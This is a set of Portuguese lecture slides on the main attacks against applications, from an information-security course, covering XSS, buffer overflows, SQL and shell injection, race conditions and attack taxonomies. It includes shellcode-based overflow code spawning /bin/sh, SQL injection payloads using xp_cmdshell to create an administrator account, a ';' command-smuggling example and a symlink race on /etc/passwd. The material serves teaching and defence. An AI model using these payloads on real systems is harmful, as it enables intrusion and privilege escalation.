Especialização
em Segurança
da Informação
Segurança em Aplicações
3. Principais Ataques
Márcio Aurélio Ribeiro Moreira
[email protected]
http://si.lopesgazzani.br/docentes/marcio/
Estrutura típica de aplicações
Márcio Moreira
3. Principais Ataques – slide 2
Segurança em Aplicações
Principais pontos de ataque
 Áreas públicas:
 Vantagem:
Facilidade de ataque
 Desvantagem: Baixo retorno
 Alvos e ataques:
Clientes:
Links:
Webservers:
Roubo de informações
Coleta de pacotes
Negação de serviço
 Áreas restritas:
 Vantagem:
Alto retorno
 Desvantagem: Complexidade
 Alvos e ataques:
Firewall:
S.Aplicação:
S.Banco:
Márcio Moreira
Negação de serviço
Violação de acesso
Violação de acesso
3. Principais Ataques – slide 3
Baixo
Retorno
Fácil
Difícil
Rentá
vel
Segurança em Aplicações
Principais vulnerabilidades
Áreas públicas:
Baixo conhecimento dos usuários
Baixo nível de proteção das estações
Uso de protocolos inseguros ou frágeis
Áreas restritas:
Gestão inadequada de usuários
Gestão inadequada de perfis
Integrações inseguras entre sistemas
Servidores mal configurados
Aplicações mal escritas
Márcio Moreira
3. Principais Ataques – slide 4
Segurança em Aplicações
Resumo das ameaças
 Ameaças de invasão:
 Atividades de varredura: pessoas procurando formas de acessar seus serviços ou
aplicações
 Intrusão:
 Tentativa bem sucedida de obter acesso à uma máquina que não deveria ter
 Destruição: Perda de dados ou informações (após a intrusão)
 Código malicioso:
 Vírus, verme, etc.
 Negação de Serviço (DoS: Denial-of-Service):
 Impedir que o serviço seja oferecido aos usuários
 Ex.: E-mails bomba (lotam o servidor de e-mails forjados)
 Forjar (spoofing):
 Oferecer serviços ou aplicações que parecem com os verdadeiros para obter
informações (especialmente credenciais)
 SPAM:
 Espalhar e-mails ou mensagens não desejadas pelas pessoas
Márcio Moreira
3. Principais Ataques – slide 5
Segurança em Aplicações
Explorando vulnerabilidades públicas
 Explorando a fragilidade do usuário:




Cavalo de Tróia (Trojan horse) e vírus/verme/malware
Sequestro de sessão (session hijack)
Engenharia social (obter informações privadas)
Fragilidade de senhas
 Explorando a fragilidade da máquina:
 Keyloggers (interceptadores de teclado e mouse)
 Tomando o controle da máquina do usuário
 Explorando pacotes de rede (sniffing):
 Coleta de credenciais (Ethereal)
 Preparação de ataques a áreas restritas
 Ganhar acesso e controle de servidores
Márcio Moreira
3. Principais Ataques – slide 6
Segurança em Aplicações
Explorando gestão inadequada
Gestão inadequada de usuários
Um usuário para cada sistema ou aplicação
Usuários demitidos, mas os acessos não
Acumulação de acessos durante a carreira
Falta de padronizações (processos adequados)
Gestão inadequada de perfis
Nivelar perfil pela maior necessidade
Acumulação de perfis durante a carreira
Integração de parceiros, terceiros, visitantes, etc.
Márcio Moreira
3. Principais Ataques – slide 7
Segurança em Aplicações
Explorando servidores mal configurados
Trocando módulos e pacotes de correções
Interceptando chamadas de sistema
Explorando Rootkits (kernel forjado)
Explorando Condições de Corrida
Ganhar privilégios indevidos ou negar o serviço
Buffer Overflow
Atacar protocolos frágeis
Atacar utilitários frágeis
Márcio Moreira
3. Principais Ataques – slide 8
Segurança em Aplicações
Explorando integrações ruins
A integração de sistemas é muito comum
Como sistemas heterogêneos podem
conversar entre si?
Solução comum:
Arquivos texto (ASCII), planilhas, etc.
Armazenado em pastas comuns aos sistemas
Transportados em mídias ou links inseguros
Interface humana (lê em um e digita no outro)
Ataques:
Interceptação, cópia, alteração, inclusão e exclusão
Márcio Moreira
3. Principais Ataques – slide 9
Segurança em Aplicações
Explorando aplicações mal escritas
 Redundâncias de autenticações:
 n aplicações  n bases de autenticações
 Injeção de código:
 SQL injection:
Forjar acessos válidos (ataque ao where)
Ganhar acesso indevido (console remoto)
 Code injection:
Forjar acessos válidos (ataque ao if)
Buffer overflow: instalando portas de acesso
Capturar áreas de memória (memory dump)
 Explorar falta de rastreabilidade e consistência:
 Usar credenciais válidas para ações ilícitas
Márcio Moreira
3. Principais Ataques – slide 10
Segurança em Aplicações
Explorando aplicações web
Inspeção de pacotes: usar https com ssl
Keyloggers:
usar teclado virtual
Explorar portas:
usar firewall
Espalhar vírus e trojan: usar antivírus
Sites clonados:
digite o endereço
E-mails falsos:
Não abra, use confirmação de remetente, etc.
Utilize e-mails seguros (cifrados e autenticados)
Assistentes virtuais:
Márcio Moreira
personalize a página
3. Principais Ataques – slide 11
Segurança em Aplicações
10 principais ataques para web










Injeção (código e SQL)
Cross Site Scripting (XSS)
Quebra de autenticação e de gestão de sessão
Falta de segurança em referências diretas a objetos
Forjar requisições para trocas de sites (CSRF: Cross Site
Request Forgery)
Configuração inadequada de servidores
Falhas de controle de acesso as URLs restritas
Encaminhamentos e redirecionamentos inválidos
Baixo nível de criptografia de acesso à Storages
Insuficiência na proteção da camada de transporte da rede
Márcio Moreira
3. Principais Ataques – slide 12
Segurança em Aplicações
Explorando o “man in the middle”
Ataque do homem do meio:
Interceptar uma conexão
Seqüestrar a sessão
Recomendações:
Não use proxy
Use certificados públicos
Use uma entidade certificadora externa
Use cartões de números variáveis (tokens)
Autentique a estação de origem
Questão: como autenticar dispositivos móveis?
Márcio Moreira
3. Principais Ataques – slide 13
Segurança em Aplicações
XSS (Cross Site Scripting)
 Ideia:
 Injeção de código (JavaScript, VBScript, ActiveX, HTML ou Flash)
por um espião, do lado do cliente, nas páginas que serão utilizadas
por outros usuários
 Meios utilizados:
 Páginas que serão acessadas, cookies, e-mails com links para
áreas intermediárias, etc.
 Paradoxo:
 Para evitar o ataque o usuários deve desabilitar a execução de
scripts, mas com isto perde funcionalidades que podem ser
imprescindíveis
 Exemplo trivial:
 Digitar <script>alert(“hello")</script>, numa caixa de texto de busca
Márcio Moreira
3. Principais Ataques – slide 14
Segurança em Aplicações
Buffer Overflow
 Exemplo:
 char nome[30];
 printf(“Nome: ");
 gets(nome);
 char b[100];
 strcpy(nome, b);
// permite o overflow da variável
// copia os 100 bytes de b em nome
 Se faltar memória:
Erro
 Se a linguagem tratar:
Erro ou exceção
 Se a linguagem não tratar?
 Existem vários ataques que exploram isto!
Márcio Moreira
3. Principais Ataques – slide 15
Segurança em Aplicações
Buffer Overflow - Estratégia
 Injetar código nas variáveis das
funções:
 Acessar o shell do SO
 Abrir portas para ataques posteriores
 Instalar ou abrir servidores de acesso
remoto
 Mudar o endereço de retorno
 Disparar o código por outra injeção
 Vulnerabilidades conhecidas:
 TCP/IP, IIS (ISAPI), Apache, Sendmail,
Linux e Unix (DNS: update de zonas),
etc.
Márcio Moreira
3. Principais Ataques – slide 16
Estrutura de Funções:
Argumentos
Endereço de retorno
Variáveis
Código da função
Retorno
Segurança em Aplicações
Exemplo de código de ataque
#include <stdio.h>
#include <string.h>
char shellcode[ ] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
int main(int argc, char **argv){
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < (int) strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer, large_string);
return 0;
} Moreira
Márcio
3. Principais Ataques – slide 17
Segurança em Aplicações
Como obter o código de ataque?
Programando em Assembler e pegando os
códigos hexa do executável
Utilizando o DEBUG:
Márcio Moreira
3. Principais Ataques – slide 18
Segurança em Aplicações
SQL Injection
 Idéia: injetar código para ganhar acesso
 Exemplo de autenticação:
 SELECT *
 FROM
usuarios
 WHERE usuario = '$usuario' AND senha = '$senha'
 Sintaxe SQL:
 ' (apóstrofo) Terminador de strings
 -- (2 menos) Comentários (ignora o restante)
 O que acontece se digitarmos no campo usuário?
 x' OR 1=1 -Márcio Moreira
3. Principais Ataques – slide 19
Segurança em Aplicações
SQL Injection - Exemplos
 No SQL Server:
 '; EXEC xp_cmdshell 'net stop sqlserver', no_output - No lugar do comando (net stop ...), podemos colocar:
Net user admin2 /add && net localgroup administrators admin2 /add
&& net localgroup ORA_DBA admin2 /add
 ' UNION SELECT id, name, '', 0,'' FROM sysobjects WHERE
xtype='U' --
 Injeção no get (passagem de parâmetros) em url:
 http://windefense/index.asp?id=10 UNION SELECT TOP 1
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME LIKE '%25login%25'—
 Referências:
 www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
Márcio Moreira
3. Principais Ataques – slide 20
Segurança em Aplicações
Code Injection
Após ganhar acesso ao SO digite:
cat > exs
// copia digitação em exs
#!/bin/sh
A=$1
eval "ls $A“
// o shell default é o sh
// atribui o 1º parâmetro à A
// executa ls com conteúdo de A
chmod a+rx exs
// permite execução de exs
O que acontece se digitarmos?
./exs ".;chmod o+r *“
O caractere “;” é um separador de comandos
do shell do linux e unix
Márcio Moreira
3. Principais Ataques – slide 21
Segurança em Aplicações
Condições de corrida
 Os arquivos temporários são gerados por funções:
 name=maketemp("/tmp/gs_XXXXXXXX");
 fp=fopen(name,"w");
 Eles herdam os privilégios de seus geradores
 O que podemos colocar em arquivos temporários?
 O que ocorre se no momento de uma condição de corrida
mudarmos a path do arquivo?
 Ex: symlink /tmp/gs_12345A -> /etc/passwd
 As condições de corrida podem ocorrer:
 Memória, arquivos ou sinais.
 Referência:
 http://projects.cerias.purdue.edu/secprog/class2/5.Links_&_Races.pdf
Márcio Moreira
3. Principais Ataques – slide 22
Segurança em Aplicações
O que fazer?
 Proteger a infra-estrutura:
 Segurança de perímetro (Firewall, IDS, IPS, etc.)
 Segurança na instalação, configuração e manutenção
 Atualização segura de SO e serviços
 Avaliação periódica de segurança (Ethical Hacking)
 Monitoramento contínuo de log
 Proteger as aplicações:
 Processo de desenvolvimento seguro de desenvolvimento
 Autenticação centralizada
 Adote padrões de comunicação e conexão com DBMS
 Processo de garantia da qualidade (avaliações periódicas)
Márcio Moreira
3. Principais Ataques – slide 23
Segurança em Aplicações
Taxonomias (critérios de classificação)
 MANET:
 Mobile ad-hoc network
 Classifica:
 Vulnerabilidades, Desafios, Ataques e Aplicações
 MANET: Vulnerabilities, Challenges, Attacks, Application - Priyanka Goyal,
Vinti Parmar e Rahul Rishi
 AVOIDIT:
 Classifica:
 Ataques, Vetores, Impactos Operacionais, Defesa, Impacto de Informações e
Alvos
 AVOIDIT: A Cyber Attack Taxonomy - Chris Simmons, Charles Ellis, Sajjan
Shiva, Dipankar Dasgupta, Qishi Wu
 Tratado sobre o tema:
 A taxonomy of computer attacks with applications to wireless networks Daniel Lowry Lough
Márcio Moreira
3. Principais Ataques – slide 24
Segurança em Aplicações
MANET
Vulnerabilidades
Desafios
Ataques
Aplicações
Falta de gestão centralizada
Roteamento
Externos
Militares
Disponibilidade de recursos
Segurança e Confiabilidade
Internos
Comerciais
Escalabilidade
Qualidade de Serviço
Negação de serviço
Locais
Falta de cooperação
Inter redes
Falsidade ideológica
(Impersonation)
Pessoais
Topologias dinâmicas
Consumo de Energia
Observação de informações
confidenciais (Eavesdropping)
Comunicação
Limitação de fonte de energia
Propagação (multicast)
De roteamento
Restrições de largura de banda
Localização apoiada por roteamento
Ataque do buraco negro
Espiões dentro da rede
Ataque do buraco de minhoca
Fronteiras não definidas
Ataque do buraco cinza
Ataque de resposta
Encravamento (jamming)
Ataque do homem do meio
Márcio Moreira
3. Principais Ataques – slide 25
Segurança em Aplicações
Download

Unidade 3 - Principais Ataques às Aplicações